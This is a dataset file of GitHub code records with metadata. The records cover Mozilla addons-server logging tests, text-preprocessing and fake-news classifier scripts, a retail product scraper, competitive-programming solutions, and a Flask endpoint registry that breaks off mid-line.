{"seq_id": "35754543092", "text": "import json\nimport logging\nfrom unittest import mock\n\nimport olympia.core.logger\nfrom olympia.amo.tests import TestCase\nfrom olympia.users.models import UserProfile\n\n\nclass LoggerTests(TestCase):\n    def make_fake_record(self, msg='Some fake message', level=logging.NOTSET):\n        return logging.LogRecord(\n            'loggername',  # name\n            level,  # level\n            '/some/path',  # pathname\n            42,  # lineno\n            msg,  # msg\n            (),  # args\n            None,  # exc_info\n        )\n\n    @mock.patch('olympia.core.get_remote_addr', lambda: '127.0.0.1')\n    @mock.patch('olympia.core.get_user', lambda: UserProfile(username='fôo'))\n    def test_get_logger_adapter(self):\n        log = olympia.core.logger.getLogger('test')\n        expected_kwargs = {\n            'extra': {\n                'REMOTE_ADDR': '127.0.0.1',\n                'USERNAME': 'fôo',\n            }\n        }\n        assert log.process('test msg', {}) == ('test msg', expected_kwargs)\n\n    @mock.patch('olympia.core.get_remote_addr', lambda: '127.0.0.1')\n    @mock.patch('olympia.core.get_user', lambda: None)\n    def test_logger_adapter_user_is_none(self):\n        log = olympia.core.logger.getLogger('test')\n        expected_kwargs = {\n            'extra': {\n                'REMOTE_ADDR': '127.0.0.1',\n                'USERNAME': '',\n            }\n        }\n        assert log.process('test msg', {}) == ('test msg', expected_kwargs)\n\n    @mock.patch('olympia.core.get_remote_addr', lambda: None)\n    @mock.patch('olympia.core.get_user', lambda: UserProfile(username='bar'))\n    def test_logger_adapter_addr_is_none(self):\n        log = olympia.core.logger.getLogger('test')\n        expected_kwargs = {\n            'extra': {\n                'REMOTE_ADDR': '',\n                'USERNAME': 'bar',\n            }\n        }\n        assert log.process('test msg', {}) == ('test msg', expected_kwargs)\n\n    @mock.patch('olympia.core.get_remote_addr', lambda: '127.0.0.1')\n    @mock.patch(\n        'olympia.core.get_user',\n        lambda: UserProfile(username='fôo', email='foo@bar.com'),\n    )\n    def test_get_logger_adapter_with_extra(self):\n        log = olympia.core.logger.getLogger('test')\n        expected_kwargs = {\n            'extra': {\n                'REMOTE_ADDR': '127.0.0.1',\n                'USERNAME': 'fôo',\n                'email': 'foo@bar.com',\n            }\n        }\n        extra = {'extra': {'email': 'foo@bar.com'}}\n        assert log.process('test msg', extra) == ('test msg', expected_kwargs)\n\n    def test_json_formatter(self):\n        formatter = olympia.core.logger.JsonFormatter()\n        record = self.make_fake_record()\n        # These would be set by the adapter.\n        record.__dict__['USERNAME'] = 'foo'\n        record.__dict__['REMOTE_ADDR'] = '127.0.0.1'\n        formatted = json.loads(formatter.format(record))\n        assert record.__dict__['uid'] == 'foo'\n        assert record.__dict__['remoteAddressChain'] == '127.0.0.1'\n        assert formatted['Fields'] == {\n            'msg': 'Some fake message',\n            'uid': 'foo',\n            'remoteAddressChain': '127.0.0.1',\n        }\n\n    def test_json_formatter_severity(self):\n        formatter = olympia.core.logger.JsonFormatter()\n\n        record = self.make_fake_record(level=logging.NOTSET)\n        formatted = json.loads(formatter.format(record))\n        assert formatted['severity'] == 0  # For Stackdriver\n        assert formatted['Severity'] == 7  # For MozLog 2.0 (7 is default)\n\n        record = self.make_fake_record(level=logging.DEBUG)\n        formatted = json.loads(formatter.format(record))\n        assert formatted['severity'] == 100  # For Stackdriver\n        assert formatted['Severity'] == 7  # For MozLog 2.0\n\n        record = self.make_fake_record(level=logging.INFO)\n        formatted = json.loads(formatter.format(record))\n        assert formatted['severity'] == 200  # For Stackdriver\n        assert formatted['Severity'] == 6  # For MozLog 2.0\n\n        record = self.make_fake_record(level=logging.WARNING)\n        formatted = json.loads(formatter.format(record))\n        assert formatted['severity'] == 400  # For Stackdriver\n        assert formatted['Severity'] == 4  # For MozLog 2.0\n\n        record = self.make_fake_record(level=logging.ERROR)\n        formatted = json.loads(formatter.format(record))\n        assert formatted['severity'] == 500  # For Stackdriver\n        assert formatted['Severity'] == 3  # For MozLog 2.0\n\n        record = self.make_fake_record(level=logging.CRITICAL)\n        formatted = json.loads(formatter.format(record))\n        assert formatted['severity'] == 600  # For Stackdriver\n        assert formatted['Severity'] == 2  # For MozLog 2.0\n", "repo_name": "mozilla/addons-server", "sub_path": "src/olympia/core/tests/test_logger.py", "file_name": "test_logger.py", "file_ext": "py", "file_size_in_byte": 4710, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 844, "dataset": "github-code", "pt": "71", "api": [{"api_name": "olympia.amo.tests.TestCase", "line_number": 10, "usage_type": "name"}, {"api_name": "logging.NOTSET", "line_number": 11, "usage_type": "attribute"}, {"api_name": "logging.LogRecord", "line_number": 12, "usage_type": "call"}, {"api_name": "olympia.core.logger.core.logger.getLogger", "line_number": 25, "usage_type": "call"}, {"api_name": "olympia.core.logger.core", "line_number": 25, "usage_type": "attribute"}, {"api_name": "olympia.core.logger", "line_number": 25, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 22, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 22, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 23, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 23, "usage_type": "name"}, {"api_name": "olympia.users.models.UserProfile", "line_number": 23, "usage_type": "call"}, {"api_name": "olympia.core.logger.core.logger.getLogger", "line_number": 37, "usage_type": "call"}, {"api_name": "olympia.core.logger.core", "line_number": 37, "usage_type": "attribute"}, {"api_name": "olympia.core.logger", "line_number": 37, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 34, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 34, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 35, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 35, "usage_type": "name"}, {"api_name": "olympia.core.logger.core.logger.getLogger", "line_number": 49, "usage_type": "call"}, {"api_name": "olympia.core.logger.core", "line_number": 49, "usage_type": "attribute"}, {"api_name": "olympia.core.logger", "line_number": 49, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 46, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 46, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 47, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 47, "usage_type": "name"}, {"api_name": "olympia.users.models.UserProfile", "line_number": 47, "usage_type": "call"}, {"api_name": "olympia.core.logger.core.logger.getLogger", "line_number": 64, "usage_type": "call"}, {"api_name": "olympia.core.logger.core", "line_number": 64, "usage_type": "attribute"}, {"api_name": "olympia.core.logger", "line_number": 64, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 58, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 58, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 59, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 59, "usage_type": "name"}, {"api_name": "olympia.users.models.UserProfile", "line_number": 61, "usage_type": "call"}, {"api_name": "olympia.core.logger.core.logger.JsonFormatter", "line_number": 76, "usage_type": "call"}, {"api_name": "olympia.core.logger.core", "line_number": 76, "usage_type": "attribute"}, {"api_name": "olympia.core.logger", "line_number": 76, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 81, "usage_type": "call"}, {"api_name": "olympia.core.logger.core.logger.JsonFormatter", "line_number": 91, "usage_type": "call"}, {"api_name": "olympia.core.logger.core", "line_number": 91, "usage_type": "attribute"}, {"api_name": "olympia.core.logger", "line_number": 91, "usage_type": "name"}, {"api_name": "logging.NOTSET", "line_number": 93, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 94, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 98, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 99, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 103, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 104, "usage_type": "call"}, {"api_name": "logging.WARNING", "line_number": 108, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 109, "usage_type": "call"}, {"api_name": "logging.ERROR", "line_number": 113, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 114, "usage_type": "call"}, {"api_name": "logging.CRITICAL", "line_number": 118, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 119, "usage_type": "call"}]}
{"seq_id": "13288002123", "text": "import pandas as pd\nfrom nltk.tokenize import RegexpTokenizer\nimport nltk as nltk\nfrom nltk.corpus import stopwords\nfrom nltk.stem import PorterStemmer\n\nnltk.download('stopwords')\nnltk.download('punkt')\n\n# federalist txt\nauthors = 'data/federalist.txt'\n\nfinal_dataset = pd.DataFrame(columns=['author', 'body'])\n\nf = open(authors)\nfull_text = f.read()\nf.close\n\n# Clean linebreaks and encodings\nfull_text_lower = full_text.replace(u'\\ufeff', '')\nfull_text_lower = full_text.replace(u'\\n', ' ')\nfull_text_lower = full_text.lower()\n\n# Remove punctuation\ntokenizer = RegexpTokenizer(r'\\w+')\nfull_text = tokenizer.tokenize(full_text_lower)\npreprocessed_text = ' '.join(full_text)\n\n# exctact author, chapter title and text\n\nstartindex = []\nendindex = []\nauthors = []\ntitles = []\n\nfor i in range(0, 85):  # Split into the 85 chapters\n    search = 'federalist no ' + str(i + 1)\n    startindex.append(preprocessed_text.find(search))  # Start point of chapter\n    endindex.append(startindex[i] + len(search) + 1)  # End point of chapter\n\n# find author of each chapter\nfor i in range(84):\n    find_jay = preprocessed_text.find('jay', endindex[i], startindex[i + 1])\n    find_hamilton = preprocessed_text.find('hamilton', endindex[i], startindex[i + 1])\n    find_madison = preprocessed_text.find('madison', endindex[i], startindex[i + 1])\n    find_HwM = preprocessed_text.find('madison with hamilton', endindex[i], startindex[i + 1])\n    if find_jay != -1:\n        df = {\n            'author': 'jay',\n            'body': preprocessed_text[find_jay + 4:startindex[i + 1]]\n        }\n    elif find_HwM != -1:\n        df = {\n            'author': 'madison with hamilton',\n            'body': preprocessed_text[find_madison + 22:startindex[i + 1]]\n        }\n    elif find_hamilton != -1:\n        df = {\n            'author': 'hamilton',\n            'body': preprocessed_text[find_hamilton + 9:startindex[i + 1]]\n        }\n    elif find_madison != -1:\n        df = {\n            'author': 'madison',\n            'body': preprocessed_text[find_madison + 8:startindex[i + 1]]\n        }\n    final_dataset = final_dataset.append(df, ignore_index=True)\n\nfind_hamilton = preprocessed_text.find('hamilton', endindex[84])\ndf = {\n    'author': 'hamilton',\n    'body': preprocessed_text[find_hamilton + 9:1124005]\n}\nfinal_dataset = final_dataset.append(df, ignore_index=True)\n\n# open each row in df and apply preproccessing\n\nfor i, text in enumerate(final_dataset['body']):\n    # remove stop words\n    words = nltk.word_tokenize(text)\n    stop_words = set(stopwords.words('english'))\n    filtered_output = [word for word in words if word not in stop_words]\n    # # # stemming\n    # stemmer = PorterStemmer()\n    # stemmed_output = [stemmer.stem(word) for word in filtered_output]\n    # # # Join the stemmed words back into a single string\n    new_text = ' '.join(filtered_output)\n\n    final_dataset.at[i, 'body'] = new_text\n#\n#     #\n#     #\n#     #\nfinal_dataset.to_csv(\"data/text_stop.csv\", index=False)\n", "repo_name": "carcassonkp/NLP_Authorship", "sub_path": "preprocessingtxt.py", "file_name": "preprocessingtxt.py", "file_ext": "py", "file_size_in_byte": 2977, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "nltk.download", "line_number": 7, "usage_type": "call"}, {"api_name": "nltk.download", "line_number": 8, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 13, "usage_type": "call"}, {"api_name": "nltk.tokenize.RegexpTokenizer", "line_number": 25, "usage_type": "call"}, {"api_name": "nltk.word_tokenize", "line_number": 80, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 81, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 81, "usage_type": "name"}]}
{"seq_id": "11714989468", "text": "import sys\nfrom pathlib import Path\n\nDIR = Path(__file__).resolve().parent\nsys.path.insert(0, str(DIR.parent.parent.parent.parent))\n__package__ = DIR.name\n\nimport django\n\ndjango.setup()\nfrom BaseClass import *\nfrom scrapy import signals\n\nstore_url = sys.argv[4]\n\n\nclass PrettylittlethingScrapper(Spider_BaseClass):\n    @classmethod\n    def from_crawler(cls, crawler, *args, **kwargs):\n        spider = super(PrettylittlethingScrapper, cls).from_crawler(crawler, *args, **kwargs)\n        crawler.signals.connect(spider.spider_closed, signal=signals.spider_closed)\n        return spider\n\n    def GetProductUrls(self, response):\n        topCategoryNodes = response.xpath(\n            \"(//nav[@class='hidden']/ul/li/div[h3/a[contains(text(),'NEW') or contains(text(),'SALE')  or  contains(\"\n            \"text(),'SUMMER') or contains(text(),'FIGURE') or contains(text(),'CLOTHING') or contains(text(),\"\n            \"'DRESSES') or contains(text(),'MOLLY')]])[1]\")\n        for top_category_node in topCategoryNodes:\n            top_category_title = top_category_node.xpath(\"./h3/a/text()\").get().strip()\n            print(\"TOP CATEGORY  :\", top_category_title)\n            category_nodes = top_category_node.xpath(\"(./ul/li[h4/a[not(contains(text(),'SHOP')) and not(contains(text(\"\n                                                     \"),'Sizes')) and not(contains(text(),'MATERNITY')) and not(\"\n                                                     \"contains(text(),'SWIMWEAR')) and not(contains(text(),\"\n                                                     \"'ACCESSORIES')) and not(contains(text(),'SHOES')) and not(\"\n                                                     \"contains(text(),'BEAUTY'))]])[1]\")\n            for category_node in category_nodes:\n                category_title = category_node.xpath(\"./h4/a/text()\").get().strip()\n                print(\"category_title :\", category_title)\n                sub_category_nodes = category_node.xpath(\n                    \"(./ul/li/a[not(contains(text(),'All')) and  contains(text(),'Dresses') or contains(text(),\"\n                    \"'Bodysuits') or contains(text(),'Jump') or contains(text(),'Loungewear') or contains(text(),\"\n                    \"'Petite') or contains(text(),'Skirts')])[1]\")\n                for sub_category_node in sub_category_nodes:\n                    sub_category_title = sub_category_node.xpath(\"./text()\").get().strip()\n                    sub_category_link = sub_category_node.xpath(\"./@href\").get()\n                    if not sub_category_link.startswith(store_url):\n                        sub_category_link = store_url.rstrip('/') + sub_category_link\n                    print(sub_category_title, \" :\", sub_category_link)\n                    category = top_category_title + \" \" + category_title + \" \" + sub_category_title\n                    self.listing(sub_category_link, category)\n        return Spider_BaseClass.AllProductUrls\n\n    def listing(self, subCategorylink, category):\n        subCategoryLinkResponse = requests.get(subCategorylink)\n        subCategoryLinkResponse = HtmlResponse(url=subCategorylink, body=subCategoryLinkResponse.text,\n                                               encoding='utf-8')\n        product_list = subCategoryLinkResponse.xpath(\n            \"(//a[contains(@class,'product-url')]/@href)[1]\").extract()\n        for productUrl in product_list:\n            if not productUrl.startswith(store_url):\n                productUrl = store_url.rstrip('/') + productUrl\n            print('PRODUCT URL :', productUrl)\n            Spider_BaseClass.AllProductUrls.append(productUrl)\n            siteMapCategory = str(Spider_BaseClass.ProductUrlsAndCategory.get(productUrl)).replace('None', '')\n            if siteMapCategory:\n                Spider_BaseClass.ProductUrlsAndCategory[productUrl] = siteMapCategory + \" \" + category\n            else:\n                Spider_BaseClass.ProductUrlsAndCategory[productUrl] = category\n        try:\n            nextPageUrl = subCategoryLinkResponse.xpath(\"//a[@class='load-more-btn']/@href\").get()\n            if not nextPageUrl.startswith(store_url):\n                nextPageUrl = store_url.rstrip('/') + nextPageUrl\n                print(\"NEXT PAGE :\", nextPageUrl)\n            self.listing(nextPageUrl, category)\n        except:\n            pass\n    def GetProducts(self, response):\n        ignorProduct = self.IgnoreProduct(response)\n        if ignorProduct == True:\n            self.ProductIsOutofStock(GetterSetter.ProductUrl)\n        categoryAndName = self.GetCategory(response) + \" \" + self.GetName(response)\n        if (re.search('Sale', categoryAndName, re.IGNORECASE) or\n            re.search('New', categoryAndName, re.IGNORECASE)) and not \\\n                re.search(r'\\b((shirt(dress?)|jump(suit?)|dress|set|gown|suit|caftan)(s|es)?)\\b', categoryAndName,\n                          re.IGNORECASE):\n            print('Skipping Non Dress Product')\n            self.ProductIsOutofStock(GetterSetter.ProductUrl)\n        else:\n            self.GetProductInfo(response)\n\n    def GetName(self, response):\n        color = self.GetSelectedColor(response)\n        name = str(response.xpath(\"//h1[@class='product-view-title']/text()\").get()).strip()\n        if not color == '' and not re.search(color, name, re.I):\n            name = name + \" - \" + color\n        print(\"name =\", name)\n        return name\n\n    def GetSelectedColor(self, response):\n        color = str(response.xpath(\"//div[@class='colour-option-label']/p/span[2]/text()\").get()).strip()\n        return color\n    def GetPrice(self, response):\n        orignalPrice = response.xpath(\n            \"//div[contains(@class,'price-target')]/p[contains(@class,'regular')]/span/text()\").get()\n        if orignalPrice != None:\n            return float(str(orignalPrice).strip().replace('$', '').replace(',', '').replace('USD',''))\n        else:\n            regularPrice = response.xpath(\n                \"//div[contains(@class,'price-target')]/p[contains(@class,'old')]/span/text()\").get()\n            return float(str(regularPrice).strip().replace('$', '').replace(',', '').replace('USD',''))\n\n    def GetSalePrice(self, response):\n        salePrice = response.xpath(\n            \"//div[contains(@class,'price-target')]/p[contains(@class,'new')]/span[1]/text()\").get()\n        if salePrice is not None:\n            return float(str(salePrice).strip().replace('$', '').replace(',', '').replace('USD',''))\n        else:\n            return 0\n    def GetDescription(self, response):\n        return ' '.join(response.xpath(\"//div[contains(@class,'description')]//p//text()\").extract()).strip()\n\n    def GetBrand(self, response):\n        brand = str(response.text).split(\"brand':\")[1].split(',')[0].replace('\"',\"\")\n        return brand\n    def GetSizes(self, response):\n        sizes = []\n        sizeList = response.xpath(\n            \"//div[contains(@class,'size-in-stock')]\")\n        gender = ProductFilters.objects.get(ProductUrl=GetterSetter.ProductUrl).ParentCategory.split(',')[0]\n        color = self.GetSelectedColor(response)\n        for size in sizeList:\n            sizename = size.xpath(\"./text()\").get().strip()\n            available = True\n            fitType = GetFitType(gender, sizename)\n            sizes.append((color, sizename, available, fitType, 0.0, 0.0))\n        return sizes\n    def GetImageUrl(self, response):\n        imageUrls = []\n        image_nodes = response.xpath(\n            \"//div[@itemprop='associatedMedia']/img\")\n        for image in image_nodes:\n            umage_url = image.xpath(\"./@src\").get().strip()\n            imageUrls.append(umage_url)\n        return imageUrls\n    def GetCategory(self, response):\n        siteMapCategory = str(Spider_BaseClass.ProductUrlsAndCategory.get(GetterSetter.ProductUrl)).replace('None', '')\n        return \"Women \" + siteMapCategory +  \"jeans \"", "repo_name": "HaseebGull/Scrappers", "sub_path": "spiders/prettylittlethingscrapper.py", "file_name": "prettylittlethingscrapper.py", "file_ext": "py", "file_size_in_byte": 7820, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pathlib.Path", "line_number": 4, "usage_type": "call"}, {"api_name": "sys.path.insert", "line_number": 5, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "django.setup", "line_number": 10, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 14, "usage_type": "attribute"}, {"api_name": "scrapy.signals.spider_closed", "line_number": 21, "usage_type": "attribute"}, {"api_name": "scrapy.signals", "line_number": 21, "usage_type": "name"}]}
{"seq_id": "40336546423", "text": "import numpy as np\r\nimport pandas as pd\r\nimport re\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\n \r\nfrom nltk.corpus import stopwords\r\nfrom nltk.stem.porter import PorterStemmer\r\n\r\nfrom sklearn.feature_extraction.text import TfidfVectorizer\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nfrom sklearn.metrics import accuracy_score\r\n\r\nimport nltk\r\nnltk.download('stopwords')\r\n\r\n# printing stopwords in English\r\nprint(stopwords.words('english'))\r\n\r\n# Data-Preprocessing\r\n# loading the dataset\r\nnews_dataset = pd.read_csv('fake_or_real_news.csv')\r\n\r\n# print the first 5 rows of the dataset\r\nnews_dataset.head()\r\n\r\n# counting the number of missing valuesin the dataset\r\nnews_dataset.isnull().sum()\r\n\r\n\r\n# replacing the null values with empty strings\r\nnews_dataset = news_dataset.fillna('')\r\n\r\n#merging the author name and news title\r\nnews_dataset['content'] = news_dataset['text']\r\n\r\nprint(news_dataset['content'])\r\n\r\n# separating the data and the label\r\nX = news_dataset.drop(columns=['label'],axis=1)\r\nY = news_dataset['label']\r\n\r\n# Stemming: It is the process of reducing a word to its root word.(remove␣suffix and prefix)\r\nport_stem = PorterStemmer()\r\n\r\ndef stemming(content):\r\n    stemmed_content = re.sub('[^a-zA-Z]',' ',content)\r\n    stemmed_content = stemmed_content.lower()\r\n    stemmed_content = stemmed_content.split()\r\n    stemmed_content = [port_stem.stem(word) for word in stemmed_content if not word in stopwords.words('english')]\r\n    stemmed_content = ' '.join(stemmed_content)\r\n    return stemmed_content\r\n\r\nnews_dataset['content'] = news_dataset['content'].apply(stemming)\r\n\r\nprint(news_dataset['content'])\r\n\r\n#separating the data and label\r\nX = news_dataset['content'].values\r\nY = news_dataset['label'].values\r\n\r\n# converting the textual data to numerical data\r\nvectorizer = TfidfVectorizer()\r\nvectorizer.fit(X)\r\nX = vectorizer.transform(X)\r\n\r\n# Splitting the dataset to training & test data\r\nX_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size = 0.2,stratify=Y, random_state=42)\r\n\r\nclf_dt=DecisionTreeClassifier()\r\nclf_dt=clf_dt.fit(X_train, Y_train)\r\n\r\npredictions_dt = clf_dt.predict(X_test)\r\ntest_data_accuracy_dt = accuracy_score(predictions_dt, Y_test)\r\ntest_data_accuracy_dt = round(test_data_accuracy_dt, 3)\r\nprint('Accuracy score of the test data : ', test_data_accuracy_dt)\r\n\r\nfrom sklearn.metrics import classification_report\r\nfrom sklearn.metrics import confusion_matrix\r\n\r\nprint(classification_report(Y_test, predictions_dt))\r\nmat=confusion_matrix(Y_test, predictions_dt)\r\nprint(confusion_matrix(Y_test, predictions_dt))\r\n\r\n# Making a Predictive System\r\nX_new = X_test[3]\r\nprediction = clf_dt.predict(X_new)\r\nprint(prediction)\r\nif (prediction[0]=='REAL'):\r\n    print('The news is Real')\r\nelse:\r\n    print('The news is Fake')   \r\n\r\n\r\nclasses = ['Real','Fake']\r\n\r\ncm_df = pd.DataFrame(mat, index = classes,columns = classes)\r\nplt.figure(figsize = (5,5))\r\nsns.set(font_scale=1.2)\r\nsns.heatmap(cm_df, annot = True,cbar=False,linewidth=2,fmt='d',cmap=\"GnBu\")\r\nplt.title('Confusion Matrix for Decision Tree Classifier')\r\nplt.ylabel('Original Values')\r\nplt.xlabel('Predicted Values')\r\nplt.savefig('Cm_dt.png')\r\nplt.show()\r\n\r\nimport joblib\r\njoblib.dump(clf_dt, 'model.pkl')\r\njoblib.dump(vectorizer, 'vectorizer.pkl')\r\n\r\n\r\n\r\n\r\n\r\n", "repo_name": "saket223/Fake_News_Detector", "sub_path": "model.py", "file_name": "model.py", "file_ext": "py", "file_size_in_byte": 3335, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "nltk.download", "line_number": 16, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 19, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 19, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 23, "usage_type": "call"}, {"api_name": "nltk.stem.porter.PorterStemmer", "line_number": 45, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 48, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 51, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 51, "usage_type": "name"}, {"api_name": "sklearn.feature_extraction.text.TfidfVectorizer", "line_number": 64, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 69, "usage_type": "call"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 71, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 75, "usage_type": "call"}, {"api_name": "sklearn.metrics.classification_report", "line_number": 82, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 83, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 84, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 99, "usage_type": "name"}, {"api_name": "seaborn.set", "line_number": 100, "usage_type": "call"}, {"api_name": "seaborn.heatmap", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 102, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 103, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 104, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 105, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 106, "usage_type": "name"}, {"api_name": "joblib.dump", "line_number": 109, "usage_type": "call"}, {"api_name": "joblib.dump", "line_number": 110, "usage_type": "call"}]}
{"seq_id": "71142976230", "text": "from collections import defaultdict\nfrom math import sqrt\nimport sys\n\n#AC\ninput = sys.stdin.readline\n        \ndef check(c, i, m): #O(sqrt(n))\n    for j in range(1, int(sqrt(i))+1):\n        if i%j == 0 and j <= m:\n            c[i].add(j)\n            if i//j <= m:\n                c[i].add(i//j)\n\nfor _ in range(int(input())):\n    n, m = map(int, input().split())\n    arr = list(map(int, input().split()))\n    arr.sort()\n    c = defaultdict(set) # This dictionary contains divisors (up to 'm') of [Ai] number. #Complexity sqrt(n)\n    for i in arr:\n        check(c, i, m)\n    d = defaultdict(int)\n    j = 0\n    ans = float('inf')\n\n    # Here, if there no valid solution, we extend right pointer (j) until a valid solution.\n    # While a valid solution is found we move the left pointer (i) to right while keeping the left right pointer (j) stationary and repeat.\n    for i in range(n): #O(n)\n        while j < n:\n            if len(d) == m:\n                ans = min(ans, abs(arr[i]-arr[j-1]))\n                break\n            else:\n                for k in c[arr[j]]:\n                    d[k] += 1\n                j += 1\n        if len(d) == m:\n                ans = min(ans, abs(arr[i]-arr[j-1]))\n        \n        for k in c[arr[i]]:\n            d[k] -= 1\n            if d[k] == 0:\n                del d[k]\n\n    if ans == float('inf'):\n        print(\"-1\")\n    else:\n        print(ans)", "repo_name": "Azim-Islam/Problem-Solving-DSA", "sub_path": "USACO.GUIDE/SILVER/CF_1777_C.py", "file_name": "CF_1777_C.py", "file_ext": "py", "file_size_in_byte": 1384, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.stdin", "line_number": 6, "usage_type": "attribute"}, {"api_name": "math.sqrt", "line_number": 9, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 19, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 22, "usage_type": "call"}]}
{"seq_id": "32045350507", "text": "from pathlib import Path\nimport sys\n\nparent_dir = Path(__file__).parent\nfile_name = Path(__file__).stem\n\nsys.stdin = open(f\"{parent_dir}\\{file_name} input.txt\")\ninput = sys.stdin.readline\n\n\nfrom collections import deque\n\n\nT = int(input())\nfor test_case in range(1, T + 1):\n    N, M = map(int, input().split())\n    Q = deque([int(n) for n in input().split()])\n\n    for _ in range(M):\n        # Q.append(Q.popleft())\n        Q.rotate(-1)\n\n    print(\"#{} {}\".format(test_case, Q[0]))\n", "repo_name": "adiens916/NOTE-algorithm", "sub_path": "problems/SW_Expert_Academy/0826/11884. 회전.py", "file_name": "11884. 회전.py", "file_ext": "py", "file_size_in_byte": 481, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pathlib.Path", "line_number": 4, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 5, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 7, "usage_type": "attribute"}, {"api_name": "sys.stdin", "line_number": 8, "usage_type": "attribute"}, {"api_name": "collections.deque", "line_number": 17, "usage_type": "call"}]}
{"seq_id": "26383322836", "text": "from abc import ABC, abstractmethod\nfrom flask import request\nimport logging\nimport mlog\n\nlogger = logging.getLogger('endpoint')\n\nclass Endpoint(ABC):\n    def __init__(self, dbClient, mqClient, logger, env):\n        self.dbClient = dbClient\n        self.mqClient = mqClient\n        self.logger = logger\n        self.env = env\n        super().__init__()\n            \n    def publish(self, topic, data):\n        self.mqClient.publish(topic, data)\n        \n    @abstractmethod\n    def handle(path_data, request_data):\n        pass\n        \nregistered_endpoints = []\n\ndef register(url, methods):\n    def decorator(cls):\n        logger.debug(f'Registering class {cls.__name__} with url {url} and methods {methods}')\n        cls.url = url\n        cls.methods = methods\n        \n        registered_endpoints.append(cls)\n    return decorator\n\ndef _make(ep, dbClient, mqClient, env):\n    def _(*args, **kwargs):\n        inst = ep(dbClient, mqClient, logging.getLogger(ep.__name__), env)\n        logger.debug(f'Endpoint instance is of type {type(inst)}')\n        path_data = kwargs\n        logger.debug(f'invoked endpoint {ep.__name__}')\n        logger.debug(f'path data: {path_data}')\n        logger.debug(f'request data: {request}')\n        return inst.handle(path_data, request)\n    return _\n    \ndef load(flaskApp, dbClient, mqClient, env):\n    for ep in registered_endpoints:\n        mlog.configLoggers([ep.__name__], env.logs_folder, env.debug_mode)    \n        logger.debug(f'Adding flask url rule {ep.url} with {ep.__name__}')\n        flaskApp.add_url_rule(ep.url, ep.__name__, _make(ep, dbClient, mqClient, env), 